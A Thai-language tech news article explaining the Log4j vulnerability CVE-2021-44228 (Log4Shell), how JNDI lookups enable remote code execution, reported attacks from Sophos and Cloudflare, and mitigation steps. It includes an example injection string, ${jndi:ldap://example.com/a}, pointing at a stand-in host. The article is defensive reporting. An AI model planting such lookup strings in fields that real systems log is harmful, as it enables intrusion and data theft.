ผู้เชี่ยวชาญเตือนแพตช์ด่วนช่องโหว่ร้ายแรงใน Log4j หลังมีการใช้โจมตีจริงอย่างกว้างขวาง

ถือเป็นอีกหนึ่งช่องโหว่ระดับร้ายแรงที่มีผลกระทบอย่างกว้างขวางไม่น้อยกว่า Heartbleed หรือ ShellShock เมื่อหลายปีก่อน สำหรับช่องโหว่ CVE-2021-44228 บนแพ็กเกจสำหรับทำเรื่องเก็บ Log ที่นิยมใช้กันในภาษา JAVA ที่สามารถใช้ทำ Remote Code Execution ได้

รู้จักกับ Log4j

อย่างที่กล่าวไปแล้วว่า Log4j คือแพ็กเก็จด้านการทำ Logging ภาษา Java โดยต้นตอของปัญหาเริ่มต้นจากการที่เวอร์ชัน 2.0-beta9 (LOG4J2-313) มีการเพิ่มเข้ามาของ ‘JNDILookup Plugin’ ซึ่ง JNDI ย่อมาจาก Java Naming and Directory Interface ทั้งนี้ JNDI มีการใช้งานมาตั้งแต่ปี 1990 แล้ว ที่เป็น Directory Service ให้โปรแกรม Java สามารถค้นหาข้อมูลผ่านทางระบบ Directory ได้ (อ่านเรื่องของ Directory Service ได้ที่ https://en.wikipedia.org/wiki/Directory_service) นอกจากนี้ JNDI ยังมีการเปิด SPI (Service Provider Interface มองว่าเป็น API ก็ได้) ให้ทำงานกับ Directory Service อื่นได้เช่น CORBA COS, LDAP, RMI (remote method interface) และ DNS เป็นต้น

ตัวอย่าง URL ของการใช้งาน JNDI กับ LDAP เช่น ‘ldap://localhost:389/o=JNDITutorial’ หมายถึงการไปมองหา Object ที่ชื่อ ‘JNDITutorial’ จากเซิร์ฟเวอร์ LDAP ที่รันอยู่บนเครื่องและเปิดพอร์ต 389 แต่เช่นกันผู้ใช้งานสามารถรัน LDAP เซิร์ฟเวอร์ที่อยู่บนเครื่องอื่นหรือพอร์ตอื่นก็ได้ นี่คือจุดหนึ่งที่คนร้ายสามารถใช้ประโยชน์จากความสามารถตรงนี้ได้ 
ไม่เพียงเท่านั้น Log4j ยังมีความสามารถที่ทำให้การใช้คำสั่งนั้นซับซ้อนได้อีก ในความสามารถของ Special Syntax มีรูปแบบคือ ${prefix:name} ตัวอย่างเช่น ${java:version} ซึ่งใน 2.0-beta9 ได้มีการเพิ่มความสามารถให้ JndiLookup พร้อมกับการใช้ “:” ที่หมายถึงการไม่นับ Prefix กล่าวคือเปิดโอกาสให้สามารถประดิษฐ์คำสั่งที่ซับซ้อนได้มากขึ้นอีก

เช่น ${jndi:ldap://example.com/a} โดยการ Lookup สามารถมองหาข้อมูลได้จากทั้งส่วนคอนฟิคและ Log ที่ถูกบันทึก ด้วยเหตุนี้เองหากเพียงแฮ็กเกอร์ทราบว่ามีค่าอะไรที่น่าจะถูกเก็บ Log เอาไว้เช่น User-Agent หรือพารามิเตอร์เช่น Username ก็สามารถประดิษฐ์การโจมตีขึ้นมาได้นั่นเอง

รูปแบบของการโจมตี

Apache Log4j ถูกใช้กันในผู้พัฒนาเว็ปและเซิร์ฟเวอร์ที่ใช้ภาษา Java หรือเป็นส่วนหนึ่งของระบบการทำงานใหญ่ โดยในบล็อกของ Sophos ชี้ว่าตนพบการโจมตีเพื่อจุดประสงค์ทางการลอบรันโค้ด ค้นหา Log เพื่อสแกนทดสอบหาเหยื่อหรือติดตั้งตัวขุดเหมือง แม้กระทั่งการใช้เพื่อขโมยข้อมูล AWS Key หรือข้อมูลส่วนตัวอื่นๆ ภาพประกอบของการโจมตีเป็นไปตามด้านล่าง 

credit : Sophos

นอกจากนี้ยังมีเครื่องมือ Interactsh ที่ช่วยให้ผู้โจมตีสามารถประดิษฐ์ Request ในรูปแบบต่างๆได้อย่างมีประสิทธิภาพ ตามภาพประกอบด้านล่าง

credit : Sophos

ในมุมของ Cloudflare เองได้เผยถึงการโจมตีที่ไม่ได้จำกัดเฉพาะกับแอปพลิเคชันที่เข้าถึงได้จากอินเทอร์เน็ต แต่มีผลกับส่วนประกอบย่อยภายในที่มีการใช้ Log4j ซึ่งอาจมีการประมวลผลคำสั่งมาจากระบบหน้าด่านอื่น(ตามภาพประกอบ) และด้วยความเกี่ยวข้องอันซับซ้อนนี้ รวมถึงความยอดนิยมของ Log4j เองจึงกล่าวได้ว่าช่องโหว่นี้มองข้ามไม่ได้และต้องมีการวิเคราะห์องค์กรหรือการทำงานหลายส่วน

Credit : Cloudflare

วิธีการป้องกันสำหรับผู้ใช้งาน Log4j 2.0 เวอร์ชันbeta9 – 2.14.1

1.) แพตช์ด้วย Log4j 2.15.0

2.) ตั้งค่า Property เป็น log4j2.formatMsgNoLookups=true รวมถึง Environment variable เป็น LOG4J_FORMAT_MSG_NO_LOOKUPS=true

3.) ลบ Class ของ JndiLookup ด้วยคำสั่ง zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

อย่างไรก็ดี Vendor ต่างๆที่เกี่ยวข้องกับช่องโหว่ได้รับทราบและตื่นตัวแล้ว พร้อมทั้งประกาศเพิ่มความสามารถให้ผลิตภัณฑ์รู้จักกับรูปแบบของคำสั่งโจมตีแล้ว อย่างไรก็ดีถ้าทำได้กรุณาแพตช์ให้เร็วที่สุดครับด้วยความหวังดี

ที่มา : https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ และ https://news.sophos.com/en-us/2021/12/12/log4shell-hell-anatomy-of-an-exploit-outbreak/ และ https://www.bleepingcomputer.com/news/security/researchers-release-vaccine-for-critical-log4shell-vulnerability/


About nattakon

จบการศึกษา ปริญญาตรีและโท สาขาวิศวกรรมคอมพิวเตอร์ KMITL เคยทำงานด้าน Engineer/Presale ดูแลผลิตภัณฑ์ด้าน Network Security และ Public Cloud ในประเทศ ปัจจุบันเป็นนักเขียน Full-time ที่ TechTalkThai

Check Also

อัปเดตแนวทางปฏิบัติด้าน Cybersecurity ล่าสุดในงาน TTT 2022 Reinforce: Enterprise IT Infrastructure Day

สรุปแนวโน้มภัยคุกคามไซเบอร์และการรักษาความมั่นคงปลอดภัยปี 2022 พร้อมแนวทางการจัดตั้ง SOC ทั้งด้านเทคโนโลยี กระบวนการ และบุคลากร การวางสถาปัตยกรรมแบบ Cybersecurity Mesh เพื่อลดความเสี่ยงและเพิ่มความเร็วในการตอบโต้ภัยคุกคาม รวมถึงแนวทางปฏิบัติเพื่อรับมือ DDoS การรักษาความมั่งคงปลอดภัย API …

วางกลยุทธ์ด้าน Standards & Compliance ในงาน TTT 2022 Reinforce: Enterprise IT Infrastructure Day

แนะนำมาตรฐานและกรอบการทำงานด้านความมั่นคงปลอดภัยที่องค์กรยุคดิจิทัลควรประยุกต์ใช้ พร้อมการวางกลยุทธ์และแนวทางปฏิบัติเพื่อให้สอดคล้องกับกฎระเบียบและข้อบังคับต่างๆ เช่น NIST Cybersecurity Framework, พ.ร.บ. คุ้มครองข้อมูลส่วนบุคคล, พ.ร.บ. การรักษาความมั่นคงปลอดภัยไซเบอร์ รวมไปถึงเทคนิคการลบข้อมูลถาวรอย่างมั่นคงปลอดภัยและสอดคล้องกับ PDPA ในงาน TTT 2022 …